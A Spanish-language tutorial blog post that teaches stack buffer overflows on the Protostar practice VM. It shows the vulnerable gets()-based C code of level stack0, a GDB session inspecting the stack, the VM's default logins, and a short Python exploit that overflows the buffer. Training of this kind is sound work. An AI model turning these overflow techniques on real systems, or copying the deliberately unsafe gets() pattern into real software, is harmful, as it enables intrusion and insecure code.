Desarrollo de exploits: Explotación binaria con Protostar

Protostar

Poder escribir tus propias herramientas de hacking es lo que separa a los script kiddies de los legendarios hackers. Si bien esto puede tomar muchas formas, una de las habilidades más codiciadas en la piratería es la capacidad de profundizar en los archivos binarios de un programa e identificar vulnerabilidades en el nivel más bajo. Esto se conoce como explotación binaria, y hoy vamos a ver una herramienta conocida como Protostar.

Protostar es una máquina virtual vulnerable de Exploit Exercises. Este sitio web alberga varias máquinas virtuales que se centran más en la explotación manual. Así que adiós a Metasploit y Exploit-DB, porque tu mente es la única base de datos de exploits a tu disposición. Aquí vas a aprender mucho.

Protostar te obliga a pensar realmente y pone a prueba tu lógica y tus habilidades de razonamiento. En mi opinión personal, alcanza el equilibrio perfecto de la curva de aprendizaje. Tenga en cuenta que necesitará algunos conocimientos básicos de un lenguaje de scripting para pasar por Protostar sin problemas. En nuestro ejemplo aquí, usaremos Python.

Protostar puede ser descargado desde https://exploit-exercises.com/download/, una vez descargado se debe proceder a configurar en una máquina virtual. Si usted ha llegado a este punto, doy por concluido que sabe como configurar una máquina virtual, así que no me tomaré el tiempo de explicar como hacerlo, en la red hay muchos recursos.

· Conectándose a Protostar mediante SSH

Inicie la máquina virtual Protostar en VirtualBox. Una vez que la máquina virtual está en funcionamiento, podemos conectarnos a ella a través de SSH. Esto se puede hacer desde el sistema operativo host (el sistema operativo que ejecuta su computadora) o con otra máquina virtual. En este tutorial, usaré OpenSSH en GNU/Linux ArchLinux. Según el software que use, los pasos necesarios para iniciar sesión variarán. En general, sin embargo, necesitará saber la dirección IP a la que conectarse y el nombre de usuario y la contraseña de una cuenta local para iniciar sesión como. En el caso de Protostar, inicia sesión con el usuario de nombre user y la contraseña user. Si en algún momento necesita usar el usuario root, la contraseña es godmode.

· Identificando y explotando un desbordamiento de pila en stack0

Lo bueno de Protostar es que incluye el código fuente para todos los niveles en el sitio web. Si bien esto no siempre está disponible en la vida real, es genial tenerlo mientras se comienza a aprender la explotación binaria. Sin embargo, todo el código está escrito en C, por lo que debe conocer al menos lo básico del lenguaje de programación C.

Echemos un vistazo al código fuente para el nivel stack0:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Podemos identificar dos variables en este programa, un entero llamado modified y una cadena de caracteres llamada buffer. El objetivo del nivel es desbordar la variable del buffer para que cambiemos el valor de la variable modified.

Para aquellos que no están familiarizados con C, hay dos cosas para tener en cuenta. La palabra clave volatile utilizada al declarar la variable modificada le dice al compilador que la variable puede cambiar en cualquier momento sin que el código cercano tome medidas. Si no lo sabe, el compilador es una pieza de software que traduce el código C escrito aquí en un código legible por máquina que se puede ejecutar. Cada lenguaje de programación tiene un compilador.

Al observar el resto del programa, parece que el programa solicitará entrada y almacenará lo que el usuario proporcione en la variable buffer. Después de eso, hay una instrucción if/else que verifica si la modificación sigue igual a cero. Si no es así, hemos causado un desbordamiento de pila y hemos completado el nivel.

Lo último a tener en cuenta es la declaración de la variable de memoria intermedia. El [64] significa que el compilador asignará 64 bytes de datos para esta variable en la memoria. ¿Pero qué pasa si la variable es más grande que 64 bytes? ¡Vamos a ver!

· Una introducción a GDB

La herramienta que te ayudará más cuando se trata de aprender la explotación binaria con Protostar es GDB, el depurador de GNU. Este programa nos permitirá avanzar en la ejecución de nuestros programas vulnerables y observar cada dirección individual de la memoria para que podamos entender lo que está sucediendo. Si bien cubriremos algunos de los comandos más útiles aquí, se puede encontrar una guía completa de GDB en la documentación en línea.

Stack0 está ubicado en /opt/protostar/bin/stack0, así que pasemos a ese directorio escribiendo:

$ cd /opt/protostar/bin/

Antes de saltar a GDB, primero ejecutemos el programa para ver qué sucede escribiendo:

$ ./stack0

Stack0

Como vimos en el código fuente, el programa toma la entrada del usuario y luego verifica si la variable modified se modificó o no. Es un programa muy simple, pero servirá como un buen ejemplo.

Ahora que sabemos con qué estamos tratando, ejecutemos el programa dentro de GDB. Para hacer esto, ejecutamos el siguiente comando.

$ gdb stack0

 Esto pasará el programa stack0 a GDB. Debería ver lo siguiente en su terminal:

[email protected]:/opt/protostar/bin$ gdb stack0
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack0...done.
(gdb)

En lugar del $ típico que indica que estamos en un shell de Linux, ahora podemos ver que estamos dentro del depurador de GDB mediante la secuencia (gdb) en la parte inferior de la pantalla. Desde aquí podemos escribir una variedad de comandos. Lo primero que debemos hacer es establecer un punto de quiebre. Esto detendrá el flujo de ejecución en un punto particular del programa, permitiéndonos examinar el contenido de la memoria en ese punto.

Si miramos nuevamente el código fuente, parece que detener la ejecución justo antes de la ejecución de la línea 13 sería una buena idea. Para establecer el punto de ruptura, teclearemos:

break 13

Vale la pena señalar que especificar una línea de código para que GDB lo rompa no siempre es posible. Se debe establecer una opción especial cuando el programa se compila para habilitar esto. Afortunadamente, esa opción está configurada para todos los desafíos en Protostar, por lo que no tenemos que preocuparnos por la ingeniería inversa o por mirar el código ensamblador, aún.

Una vez añadimos el punto de ruptura, escribimos run y damos "Intro":

(gdb) break 13
Breakpoint 1 at 0x8048411: file stack0/stack0.c, line 13.
(gdb) run
Starting program: /opt/protostar/bin/stack0 
12345

Breakpoint 1, main (argc=1, argv=0xbffff874) at stack0/stack0.c:13
13	stack0/stack0.c: No such file or directory.
	in stack0/stack0.c
(gdb) 

En este caso, se nos pedirá que ingresemos alguna entrada antes de que ocurra el punto de ruptura. Una cadena de entrada fácilmente identificable es 12345. Una vez que hayamos ingresado esta cadena, llegaremos al punto de ruptura.

Ahora que la ejecución del programa se ha detenido, examinemos la memoria. La parte principal de la memoria que nos interesa es la pila. La pila realiza un seguimiento de las variables locales y las instrucciones para la función que se está ejecutando actualmente. Cada vez que se llama a una función, se agrega un nuevo "marco de pila" a la pila, y cada vez que una función termina su ejecución, ese marco de pila se elimina de la pila. La dirección del marco de pila actual se mantiene en un registro denominado ESP, o el puntero de pila.

Nuestras dos variables, modified y buffer, son variables locales, por lo que se ubicarán en un marco de pila. Al encontrar la ubicación del puntero de la pila, podemos encontrar estas variables en la memoria. Para hacer esto, vamos a escribir lo siguiente:

x/32x $esp

Vamos a explicar el comando, ya que a simple vista no tiene ningún sentido. El término x/32x se refiere al comando examinar en GDB. Este comando nos permite ver direcciones de memoria individuales. Por defecto, examinar solo mira 4 bytes (o 1 "palabra doble") de memoria a la vez. Después de llamar inicialmente examinar con la primera x, el /32x le dice a GDB que queremos examinar 32 palabras dobles o 128 bytes de memoria. La segunda x al final le dice a GDB que queremos ver la memoria en forma hexadecimal.

Podríamos tratar de ver la memoria como cadenas o enteros, pero como no sabemos qué tipo de datos es todo el marco de la pila, no tendría mucho sentido. Finalmente, $esp le dice a GDB que queremos examinar la memoria comenzando en la dirección del puntero de la pila. El resultado de este comando debe ser similar a lo que ve a continuación.

(gdb) x/32x $esp
0xbffff760:	0xbffff77c	0x00000001	0xb7fff8f8	0xb7f0186e
0xbffff770:	0xb7fd7ff4	0xb7ec6165	0xbffff788	0x34333231
0xbffff780:	0xb7fd0035	0x08049620	0xbffff798	0x080482e8
0xbffff790:	0xb7ff1040	0x08049620	0xbffff7c8	0x08048469
0xbffff7a0:	0xb7fd8304	0xb7fd7ff4	0x08048450	0xbffff7c8
0xbffff7b0:	0xb7ec6365	0xb7ff1040	0x0804845b	0x00000000
0xbffff7c0:	0x08048450	0x00000000	0xbffff848	0xb7eadc76
0xbffff7d0:	0x00000001	0xbffff874	0xbffff87c	0xb7fe1848
(gdb) 

Ahora vemos una gran parte de la memoria. Cada sección representa cuatro bytes de datos, con cada byte representado por un número hexadecimal de 2 dígitos. Los números hexadecimales en el extremo izquierdo son las direcciones de las primeras piezas de datos en cada fila. Por ejemplo, la dirección de memoria 0xbffff760 contiene el valor 7c. Ahora usted se estará diciendo a sí mismo, ¿no es la primera pieza de información bf? En realidad, no lo es. Cada palabra doble de 4 bytes comienza con el último byte y funciona hacia atrás. Entonces, el orden real de las dos primeras palabras dobles sería 7c f7 ff bf 00 00 00.

Mirando más de cerca la memoria, vemos un fragmento de datos que no se parece a los demás: una serie de 4 bytes cada uno que contiene un valor descendiente 34, 33, 32, 31. Si tuviéramos que examinar esa dirección como una cadena, veríamos que estos son los cinco números que escribimos cuando ejecutamos el programa por primera vez.

(gdb) x/s 0xbffff770 + 12
0xbffff77c:	 "12345"

La variable de memoria intermedia fue fácil de encontrar porque el patrón era muy reconocible. Lo mismo no es cierto para la variable modificada. En este trozo de la pila, vemos 2 palabras dobles con un valor de cero y 6 otros bytes que también son iguales a cero. Afortunadamente, hay un comando que podemos usar para encontrar la ubicación de dirección de una variable:

info address modified

 Ejecutando ese comando da el siguiente resultado:

(gdb) info address modified
Symbol "modified" is a local variable at frame offset 92.

La salida nos dice que la variable modificada está en el marco de desplazamiento 92. Esto significa que la variable se encuentra en $esp (la dirección del comienzo del marco de la pila) más 92.

(gdb) x/x $esp+92
0xbffff7bc:	0x00000000

ESP+92

Con suerte, estás empezando a ver la imagen más grande ahora. Como la variable de almacenamiento intermedio viene antes de la variable modificada en la pila, podemos inundar el marco de la pila con más y más caracteres hasta que se desborde en la variable modificada.

Podemos usar GDB para hacer cálculos hexadecimales para calcular cuántos caracteres necesitaremos usando el siguiente comando.

p 0xbffff7bc - 0xbffff77c

La p es la abreviatura de impresión (print). La salida $1 = 64 nos dice que hay 64 bytes entre buffer y modified. No te preocupes demasiado por los $1. Es solo un nombre de variable temporal que GDB asigna el resultado y no nos concierne en este momento.

Ahora que sabemos cuántos carácteres necesitamos para completar este desafío, vamos a escribir el código de explotación o exploit.

· Escribiendo el exploit

Escribiremos el exploit en Python, pero primero tenemos que cambiar los directorios porque no tenemos permisos de escritura en el directorio /opt/protostar/bin/. Volvamos a nuestro directorio personal escribiendo cd.

Cuando no especifica un directorio para moverse, cd simplemente asume que desea regresar a su directorio de inicio.

Vamos a abrir un nuevo archivo en vim con el siguiente comando.

vim exploit.py

Y añadimos el siguiente contenido:

#!/usr/bin/env python
from subprocess import Popen, PIPE
p = Popen("/opt/protostar/bin/stack0",stdin=PIPE)
payload= "12345"*65
p.communicate(payload)

Vamos a revisar línea por línea.

Línea 1: La primera línea le dice a Linux que cuando intente ejecutar el archivo, debería hacerlo con Python. Esto no es necesario para el programa, pero nos permite ejecutar el programa como un ejecutable normal en lugar de escribir python exploit.py. En realidad, es más una cuestión de preferencia personal.

Líneas 2 y 3: Necesitamos el módulo subprocess para comunicarnos correctamente con el programa. Si el programa tomara un argumento de línea de comando, todo lo que tendríamos que hacer es llamar al programa y pasar el argumento como una variable.

Desafortunadamente, este no es el caso. Dado que la entrada se toma dentro del programa, necesitamos una forma de pasar la entrada al programa. La función Popen abrirá un proceso con el programa especificado. PIPE es un valor especial que indica que se debe abrir una tubería a la corriente de entrada estándar.

Líneas 4 y 5: La variable payload es donde vamos a construir el exploit en sí mismo. En este caso, la carga útil consistirá en la cadena "12345" multiplicada 65 veces. Esto significa que 65 "12345"s se pasarán para completar los 64 bytes enteros de datos asignados a la variable del búfer, y luego se desbordará en la variable modificada que está justo al lado del búffer.

Ahora guardamos el programa y le damos permidos de ejecución con chmod +x exploit.py, una vez hecho, procedemos a ejecutarlo:

Bingo

El programa detecta que la variable modified ha sido modificada. Con nuestro exploit, cambiamos la variable modificada y superamos el nivel.

A partir de aquí, hay 6 niveles más en desbordamientos de pila incluidos en Protostar. También hay cinco niveles que enseñan las vulnerabilidades de cadenas (string vulnerabilities) y otros cuatro niveles que enseñan desbordamientos de heap (heap overflows), entre otros.

Si bien este tutorial no ha cubierto todos los temas necesarios para resolver esos niveles, le ha proporcionado los fundamentos que necesita. Aprenderás más sobre la explotación binaria jugando con GDB que con cualquier otra cosa. Desde aquí, te animo a que pruebes el resto de los desafíos de Protostar por tu cuenta. Cada vez que te quedes atascado, busca en Google o bien ingresa a alguno de nuestros medios que están disponibles en https://securityhacklabs.net/acerca-de#Contacto, encuentra algunos buenos recursos y supera el desafío.

Cuanto más trabaje para llegar a una solución, más habrá aprendido a encontrarla.

Síguenos en FacebookTwitterunete a nuestra charla en Riotúnete a IRC o únete a Telegram y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Desarrollador de la distribución de hacking BlackArch Linux. Twitter: @edu4rdshl XMPP: [email protected]